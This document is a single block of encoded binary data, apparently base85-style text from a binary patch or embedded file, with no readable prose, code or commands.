zFf2d-M$%0{!k+4IY@zCdnxY=&!)Z&zK`g!E#0hGG&3A;&PG@0$S1>^Z&zCJs)b&+J zaqT-=l`#4|s0Hfy`gww+)X`Q!<)$OnrBva5~lB1 z2@YA@&rBB=|J1Gfr>;+qcRe4ZPmM(pz#6}++ZqCt7KJq&3ahXz6}BA|SE#xM#ij3v zq^d#Dj3`f0as3tPGBLm!00mJ!-D68136oDv8KSD0>S|BPq@dOdrOLvjCrX(>lXml1 zakUC!FWLsDdSXT^ufHqBZ?Y~y544QOw&O6A2i;s;jA`7$rjru|J) z8G=UNwOZMvJqqBF)1UGR!LXRb*ny(kq52VhzsGh2P4op8;v=5UpU9O4pMeX9eGnjw zC9c=}PjqFl?xc?}xOfB#Yg6p4ip6uc-jv%qoVB4*o+4jq!@*!AP!)O3fHxWN1916#Fw_2 zLP#OMqWwuB@sOB2Q-i1M(cBCNgH> z_1GoWrtcncc>{~TC~!jp%{*g3@ZevRkiRI};<&{~hz2dhe{l%PeF<Z8OBe*%Lvc#un zHV{!ljMxgjBT-pECw>YBk}`@zjqwQ?R4WH>FLq;#racOE^vn83RYOXC~^TKO3baio%L*UD&U^K zsr3gp87eh;oH(XpsL>~Bv1IaKBKs?C6B4m#vBx+Mp0rQ192M_V{m6N>#t9H!+~Yl`zp4$uk|NwCgDcA0=2TLL#X6Ha{atbb*S>I z{;HJ5W=cvds^zKk0rnYPB-(j$+&oRCs-v5FF#7=%@hQ9WNp*X*Myjo*tgpH*3EW`i zp`=iw_U7~PvCT}aMoLd>SEr%YSAk|V$}6wOT-%RgIKVPYG>vxuLgUyXS?<5h%jMp^t~u2EUg9|eT%p0I&Zh*4$@=qI_#>q`P%!& zZ%?rceIlnmN|qT}WJV!B4b19j;MjY_nkR*C0~A3^XO7h8WhixEVo~ZB!|1n^c;A07LA$9Ym|(qkpqfVYwj% zE<}8AGg+Lte2R*=TQ<`fe=1u7lf#0`kf4{$42mqW7`1zVk(F@UtjfxHGv6}gDo3t; zd*DY6Vn|cShGau`u2#A7HeZAoO9GcclEcN1E4yu{Vx8IwH;d_S6T1-peiC@{QdZ?C9M{sw|7B{zfLpiN|Bty=)5Ncs1R>)H}3oZjtn+UIxwJ!i~FY; z2Hn$$BMPX5q_RJqJq7^?k~C{N-5>`s&J1AZJau+a2zZs(;tnCD6%s9UrP6vy6H~uj6#5!}9YL zUsvnbr)(u-ixD%vEe-uo*5^%39bQXUxx>rKa}qkHGYaCt(4xy?=TFX)dy~Uyw98Lw z%bU>Qj7fPpQR{wP7Fo^)O+R8zV}y`6>G>QO!MD2=ucV@XwLIA%Ba)0LlC^9l#~4M$ z9ZA!Ri5)m=d?5xRGSyH*f^*(NWUoFdu&!s^G3k*M7UHrvdnF?0k%TbI;2=cTyb4}{ z?wTQ%xGGqbMgH|KSkg<=j|V_wU~$Lp^iUt9a56)z07;_KdAPc#Sc`m!ll!oB3_~n= z)L$`(u@>xp+e112PZB7^6Y?#BS z^*KUGd3r2THNQdk=RPhS8H|v{1|qzs)rs*eHf>ZOC2;E}2I95Sz`*g$sSvaf&GO)QqLTE&CfT2ftrw^f@8F4s;T64F$p#C} zp3IH8O;+H}*KRs^$Ep1pIbL*XnKV4C61y%0TK#F^?U;K#iQvijo<_bn?%0ywx@%WF z#!8!IzSeFs}@ZgXn2|l>VbIc()sHTnvU<>K#vt zYdLMXZVj$fa=iIGLOC3>^9cGB$r!FxS6}bs6l82`zP`HxrIYT)fR>pcI|de67~o8< z3Wq@k>jR2yRmsv>25pI?Wi+*GT+&N|5FYc)AmL=QexZdRyhNRmQ=$;(kQdp)c^NCY zQiNq8VG6p&LhQ>-Jjg4M!0X%6y|b(1uh-HFM6-7(XkH(&RTrytZ-!#7i|oCMN}(>|O*7{|||B}%sC4h$E; z8dOVBDfjP|zub|JHnqVCUqujY4hS~yBp*Cvqse;&Y8?gFh68Gf*=55c*gQf->}3N^ zW9p}~ZelR(hqely9sbaZ_{sSID8qrRbfio911hcr=EHntSA)9vn3EM`C?B~xfU9>B zG+)Q~K99^LpYz$hCM}@y28vdqCFLW-`9pbLXXQG~ZksuP=y`<&4j}n2HA#X<;^h-} zM$-H1Ql(Uj%~nVCwI6A-tzJxFA1f#MR!{RKP}}jnCF^&)oHjf?W$4XjZ@=9ow7k*! z5zs3&7sDS>E|P!y|EZr*!F1zX?Xn3SC7WS5%a*_?!4@vT*E*KWbT+D@itERa679e#gpNHM70sAei`VbNWU&35OiodSnpyjaQ?x z5{mbOD^?v`uhoc?#Xcm?WsC&w0P5&1!L*|E+-*?8x);o|K+(m(B)fLe;KnS8ME0W*mz z(P%=%ysgf_u+hk{(*x7k3A$)vgoFGk6j>>xQ5HmQdb$M84n{JY2MF>;qG%Vruj$0${M68{b8Un+I zBEw;ExS1Ya*K?nr;(~Ye&%wBE6e}jR`Txj8@Q++5|B?$R@*~L5NS^|aJwsi=NT?w| zBt2b=VkIb!R{m0F$vHv(H$Cc5fwgM^puosSSmfz0J0lZQB)9au z=ME2z{9gA6pev8i!4h;RvrMgPpZ;GZZ2j$P!0x~L+JEzX>$UgfExH;+>v_nQT!4q( zN4Ov&pQ-h^LL_ViBS~%e*Utj5zgc%=N|AgDdQ)i{-sK&%*}3**1WlxrV*li(bIds$ z2n1{=GADCzCsy4#LIk;@KCncA3cMDan-R0|)P{jsy>_PI za8Ug`)4pIZ_iaXf1ScR50`g^Ar`&81lr(Co$849d0tORZ91Rn_2uk;goq@3as*LaE z^R}er?do~TE2haOe@*_#9;o}x$nN;`WO{?LsnzMD)aB3*5({ZS5!K>fzA){@^Y-@G zX?4^rb{-$EZUuUp-0U({RL5?vj^;NGi57VM_m82tXwG(j z-*8&HnfztTY+Rul3$Am7YdkIT3z zVn{2M)$Tr;*tINyC3lnpWsT=^%W(;j2x|fn4`ITB3xjf=C{lAaC+!8X z@KmRD_}YJ0EH)u7w*;kK3`T6;QXvqSng$Y>@_`~T=djTnz0aSR_f*r4ZJ5IEZ%A{l z1Vd>5O-(0MLry=oaa`Av5Vv+}R~@iEaB`Er25xjuQ^|)pN(Wo;e7UqW*OF zyOP?Fx9EjCkE~uqXZVUZXs!*&lEmCS^4lZH499~r2E!LBNPf>bk)7wvbW1cn0fY50 zR2~c|7G~&uPeMU{p(`tVx?Rkb$(H5d8k6mim1G0rVhJ_NAr5?o?Yq^)=iR4Of{hoq zRnBdN6(%=6Qv$2^x$#5_tD(u&lgsMxciJl<4j&O!Bg1P?&?V@o_Gq zLc_2e32l^r8H9Ullsi^1(O!meKhp!LFHCc_fW{F#geF=ujX8&uCYsbI$X_+1HE+=! zSRg=Y%EqUr2(W2|O0ItTW3*RO5IiICCD=~U(+T1DF37^JJjlTS{+tbFN^xOUB3bb0LW$r0D%1aCTDXKoByKu zG&gM*88CXq4sZ+YVL6&*bSMFBOj6=mL99SmZ7thY6uTr9TODSB?Wei=feGBPNuJTx zW(vyMsW;b%{%Di-{RDma_+9eFexai;j=%aJ1T$cz&oFH=BfzeQ&pGJND1D-&)93Q} z9>J5DMh{1$x7lEcVH7dIO51utLE<(#dHi6>D(K_I7`oe@ghC(EMX6_d z*h4P^M?;dHA2+r($4`FAgYiHJ2`eF_%ZVZc%jlmZ!le<+HgOdRE}S6M0d~((lgQ8w zus7Ru#j~@byC47vX@_&uIf%{ah+}0G!)}HQqsD6LLbrz$lMWjB1JdX?MFeq!11xId z^|oOAfKg#4lGa0klzc;Gn`~IYHa74DFfAF~p_GnpazM_?>N}#P%jLMRm59U%E7&r$ zXWy0kpd}&wR8~W3+(?XKIPalUi#1x~m~wx#6Ttmi`9LWPT1E^;Hru(ldF)H}Z=L z8J}RV=kz4h1T^kTD*PRp$|GEmS@bm#*&_oj`1S&|mj`IYbV@mh6NiQe6dYwOfWT(2 z-ex^t72+_KN9(QIKg3%5)D3XWM7i;b#b4}^lXSp4)n<~3bE;7U$o&PjnnF{s6~a_N z>9Lu!5lW_#R4K7sY^liBjF-Da%*h#UI?b02ANHhu`R6l9 zJ8fiiJB=mBv}O`32Z$5Y8R`sWtqkS1hW5#S_mmOsMwPm|5E&&&8FWwR!VzI9=nnjh zDCIYa3gM(G>Ni^zsE<{a5w42ZR~0hk4?(q#R&>cZAtbrX(~#cQ82d7OsoL6C?~-ty{^AiXJfd_ioySbU#1HqtyVWbavJzuU@ z*7b6>bh*7esl6<2_g$A=^kOvxuK__Qqa>pOkdTn{A5;K@tL&lr2S$I&`9Lj|MTSO% zhDJt)#smb!MnuI#MFqtKJ;20;?_uH*;=#cIVgeHWf~2IRq~qlP#e@V!gruC{3nD1s z_6dp%4G9euxraH$ocM7f=mZp$CP2dw6fgvehfI)%NI>ub-~k{gAp9}|_(2sPm$MQc z>mME*_4qT#4?sX%kWWxl_}TQQY$d|$W4Bmy zQ9eGuM2sDc6_W#$6cw5pn+v=wzCQd6`q!OW-7zXkO0r6`i}TYXEKE#w_1~z8olP!x zPmhn+cc0rI3`EQ)N=`CXQWjbsVx|izR{;YB2Z{5z#`{jaC)gO7Y1$f|9-lAZAfX{* zrY5Hc=qRZv>P`Lend_bJf&KZnk>lm3UF@~1Z9Z*r0H}qZSidQe*Wr-p$jHFRJ9u=Y z#v49d2!(l!xA_QTmR~y^$V`yI28rXOesy0lBQ)ipq%Du>qh!F4Hci<-LC<-{KW_T_ zKYGSLu+M(&ssP$3#brZ6gdoNM>5`W)&O}MIkkzB5-^b8OURsy$jDAdNO{s$YB^{%L zK;=W>mihcKRhS~4gf^V=;eWi@(wpZ1v!3SEa2k-3lSSR=m%Hxx%Hck#Zu)lZ@OIM0 z5J(<<8~9bpvW^{WW6eH#r@zcBcw;SFk55B(-!$qjUMx6qD+Vk!1Q?>xP<1!lkTEBi1)?8)&| z^&vZ!`6sq=mdHqrK)QcP2w+{2Etj0kJ^d3@;%I+lb!0TN_fyGL`FpLwJL|AA3~DJ= z29&1>?_%1kx$@m4{>_q|ozuBO8dH4d*Td?{;%|W^8Z`jG->>*)LG)x`K)nnrr?*nb zszSG+x3A*5(B&uB>PIEyJa(Fo<%JBy-NP;2uWMsx^b&#ZIDlYmxIFGEqVE`HEk9LkDEye#R^?b)fm|@g@>p_fvQ6#Fcj)0C8E{~Mfmx$(bV)L@zdp9ni+LA2`J-^3X0p3GT)VKx zPlaaoS{kxfYF3EhjrM;y?nPxRF2#RFC9t{85 zBk1@FfBlQiAF26F7h)`sbg7y<`Nh?Z@g&CA4%w{|fFMzbnB+RCdRd2@0zt*Vw{K6( z+nG3A=*HE5U>R>FK!!Q>X?qSImSe2^Efh}Vfpv`PY0PL^wJN$>Y4dU7ty(!G(VA0S zfne3c<@>qa`Da;;%nhqv`0?Rlbzx&T`q#XS27Uiz+LZ6b{*X;>90->3v+|+H5j9bT zV#fO7;jB`Xv`T0qAF;w}y!s{kPiixqOI*)%_*H(5YxJM6+YysuT1QTL_${_vkgc^Z zn5FExRN(;mIw$P_MG9%E7U|eW9>1m{Bb_P>BQ-C+Mr5M!TjgRtZHeV#7 zgia0}rE#QnsqG&3qiZ5M$JINGPGhIH+9Ue04?PJ#alnmA>_|Z3sD*LM?<@=yY+RN7 z=r@k8^Cb=`W2ia^VNP|DTO|Gfoi%uYrJ9eLXv{+5^$@RX7a>R2Y{I0jEJPDF4d_%8Zd-I1JDULUxv*hH!VdKDZZ2! zN`M6O(x!DiaExnWNECyQ2gFfR16^XyOmV5Nf4BS%bUDc~la*A|6Pk6Q+nXwhd7Afz zSv}NgKHz%L%U#qI^sJBv(I~6N`jb;7BikBX2M)Mvlq6|Ec$QN@6B*=3tOOLWjGer= z_0?`$O*}9R0dbCEM*~m%SU{O+F$2m&%`|-fFhuT1(+dhHEEuK%@1)trQJ8u^Cmyx=N z3yES&lM{9X=@YIinS{3lFb17X2V`i*efEf_1WsUeKlcE^O^L-@qMaiy@IsW5+dIx4 zc$3Ou$jtf+jd9q_j4UbZ8hKYE^Zk6e0VN_rYb9H)Q`>C>)m`(G;ci2vqu)>rs2@GM z?lh|%%7ZqG?yvIe;|>XxF0@$;Jra1C&%NomU1WfTDT%q=%=|ZMXEpDnN!VxMp#B^g z8ly^&dagq)sf#)Hpn9;Oa$sR2r?I>=h*okN5WeYHv} zS*g~9LO$xnN>V)miO+gvv-4sb6QbpIhZ?-?7t(G%m|hXFf`rg^x8Z7eE_G{A<6U0Y z@3UY~8$S0+(i|G38u(79(e=e#R0}7U61g;naP48mEsxu`?bK(?yTJ^#ck+9*w-wSm zW;Te{xnFZjbuCGC@4FsyIzQdwQrnA+)NFO*TTMB>om$&J*S5>vFDE(z>(A$v9HkrO zfu(<1r**LD^HO^4*eZQ;hIK~7*aI`bp2iLt3q z5*A==&`$_Cy6;loD=N@iEDiAt-A?=BoEX_Exb9fP1R&+9d(vIon9-WK>99} z!1<1FIwL<-KieWHuwX3vUCWeXt5?($5=0Q_HJbkf(r@STUJ>h!2~VHBFgve|6LQd3 zwBs&$HlESu@k`&SQuFMHyc>t>G9@#GOcPXE7b_)$>1Aq_#8${R)5+Z`jd2bKJY%Y< zFuo>Q0wg}aNx*>)KP8ez%a*=LlC|b~5QR+w5yb>1(qdZ;3tDHnRoHAq`y~L9FNHWH)cwL?A9o1vy#octx6`tqzq8S_& zFFZ}us|M^g9)pHsn3;0cE2cDoMWWCGwr8khe~6a>;Z>wr$L zuxiq#(5s6m|03xkwD~yXbE@Ob{C;!%?s?Yv!o@;}ZpiSDN=_2igGSXoi4yKkE8E=1 zSqXI1`iwpw3Xop=unOps!p(gUMJQG?f5F~}?BU1c<8cH}t}+Y?)D?&EofI%ru~Uq? z+N;$?2mgAeLY3l_Kh8yK9hV+&At{i7ODI>iM*Qu7JI`aK)4Q)}PHPkxi-?B}oguZD z90K}r@tW4i9k+?;oNR99;5YY6znVi>p`*$nl#tU?YZAc(A2QDjuQsrea&KPt5QnI3 zh2Usv9j;K|>K1yF7^sM4$;v}77aE!xjZHetcZn+My{}(m5>XQ&`m;r~A^$+$ZP83h zGOIfA=wNT}P%mH?e(Z4wiG%Mqn=+AK@jg^h8OX>nh0_er7;-sUaHjSfd6F81 zk=jvGZ_Totw&JhWSM>z+<5o^FxGw9il?wE4^2NBwj?7Z{w{6Dx!Zb?~XJcGSNxP#X zI};WVxvRBaJ$$^ZbQRPrJPcI3qu@P^teSFZi#>$$@KdOxcjUFShOfld^E$?ZrDXDy zAyayYuRM~SkdxJpiekRS+ruSLy5kuR*30ouZ4XJjc`Qk7KIL(FM0FkI(et85mwf0% zVUV;)ou)eMqpzcwghsYk*U>C7Krxn)8>e6g&V7VQ)?k4>=dtxroA@dWti<6>xXGm^ z6FUZxu;pr9%)DqWufLyi@FZ1|7iXDKTdwAwLMV@3cnWspXz?(9k+YjuciD9 z-IyIIeic*B`?%JGX_K^u-NET3EHheO_&E*x#)_=N`L3+FMY;90)yyVYb*Rkw8dab- zh`x(r#^)?`Cg@~~8MfaJ9KlhYkg0W=>SYFgZj@VrdBFCCPN2Lop9%-N+CkESc+uHH zJ?4^P=_9&s180Qq4Pp=glZf{wi*nf6rlNEGc0X!MW^UC;G_Ln5@sKR#{cG_D>udmF z;e2jP)AE3fR=JwR{-uZiV9*KFDF21UvA{!S(_6$b1U`HT%!{a(q&# z;8BUNP#B4!)nLsHkd&TFi{UjzMhEL1p^i6a)KxiIKk_Rt8JzO0S7ud}qX7n$_mk{q z@4(?URr)MYY^!a>k5}LpWWG%NFyW7&F&y_b*Y=@mX-#FPp!w(Ks@cY}Y=1nM?VHet zfqs&@n>QjN6E{&ZAVg!goRNsjYjwHrLmw%SF+aAcE#!N_oKHttZB7R$USw{f#|R3n zC+RH$uiay(Fq@m^x?5uR;d);*fgE}5IsOwvO_&X5v?+5 z$8=ukDe}Cm(tXtfiu+Ny2&?|&@N7Ld;5=(jg_+JhY#1Xd+?$XbNbe{n>0!45sJLO0d}r3U7QdlmwTln3(jO-_m6^$Ni_xKFA?s@GaM^_jF!wRMd~Th_=x`#2A@x5i+~|DHZ3LYpOK^QR&g z)+0HvndFiHfS$LtDzV?g?@4?p10gFE8`3i@X0JhP1I=797+n?#?y_C(LSDO!il12$ zB}rSYIl`_ekM|8`FQt+1;&3wvvv9{akA+0;1Nk9xO zo2`TZ-0i0w9?1wSw98vw3OtN6LgWUpTSF`1nsgjeyMX3WOw(=CTxeNzG+521i+L1X+xPLo8y;U)vz#0b;brtKYR{)OcAc{9 z{}yAX|K2H;W|cf%O6bxsyjdjjr%EG!_w3Acgw@-hkP8UR7nwHSoPGWZ z&AXDv@LQx3FvpE>HwtxN!_lwvR4_v7M7{9Vy#^SlQ(x^`v)j&6C5jA+2I=WD%{{SO z(Az+qu$)k2_(53sA!G74*(Q3o&cgecQqMk13)9v^N73gqmdkc`=j$5z#<_2OZV4cn zZJlBKcC-thw)Gz8ELS++8=_ojsNMDq=TMS2sd7Cjq5{GwZAyCS*t{eMQ(_R?esNyd zAc;;DslmWNpk(qY-!stYJk`8WQiY?_CB+!rlnqy1M&@N|o*vC}0Ph}-5O1hH0>)^y zCA*Az!4LH8j_Pz(+h;WL8Z%)q%Ibq4*a$z`ranb8jCu{Tbpp{>$_bZ)Od8tqQEBGh z2$7@|PI?9kc@rp9`a36%#NK$2i>Kq}yRlmb{w!8Q3b5G(P3`1y@yOU+ZhIavFM2h4 zx_lg`JYM+f;oyJ?S%Lok!(r2Q@qRnVLM4+&Ea!{xE3UDbO@{x6=Q6{sA%sOyeRo>+<4|h7VE_~rWr%O zJFzDB^_zDKEs@(&w&tWG9?96-$f;YoD+R?u)TtKXx%M{>D`R>5jvG;n16ID5~#ueW10*ZWItZ6!rHRvq83 zrb(Dm$I{hKfK}slFI$`J{*qmS?*T9hh?WsrF~c`Xf4Fq3dLsXE2Kxov5_>KyCH|!5RD|U)(sU!Dh#jM(>mJkcgx;no=t4f65!f5Z}9L|NedZU)&>2H3! zm?a5&S*%rHSLmAm+4hclXcL7zg^d0Tl0kZ{I(RA+aXh7x-7siml&4DiJ+;H53^XvE zdhjsN>oPI`ir+W_T9nTzG~lVmWoWulLMRoq2>jhG5B=gBhJ5kcO5L6^CMCmGcD;`8 z0`qNexO7a2y5u1~{M}(9Wuj)FL$7eXwZ^F>+U@{cD_xphb(lgsGef}hiBLEo7-fgC zUG_p*@J`{ORfw7x52bzIwh@L)VL>V_8^`qHoiEAzCyh%{3Y1)=gSnie_bRy8as06k z$2Cn`qT1jb+OMN?Ck=z6aw%V^@~EAFhQhGCq=j1(UT&@cNdrxdpP1X zCNSU;QLaeAkwEqE%1@&&zFNpyGBWUyO|OrfYJQ~ya>ud~)!W&NQ4J;Yo}|A|vMorL zI$XD|mil_2)KPs;fbH^^4z+5qijq{$Dyu$^69dR@zudu1lpn%D8TXEJ& z%A`65`A>=0DD<2MjdDnju~L1^O;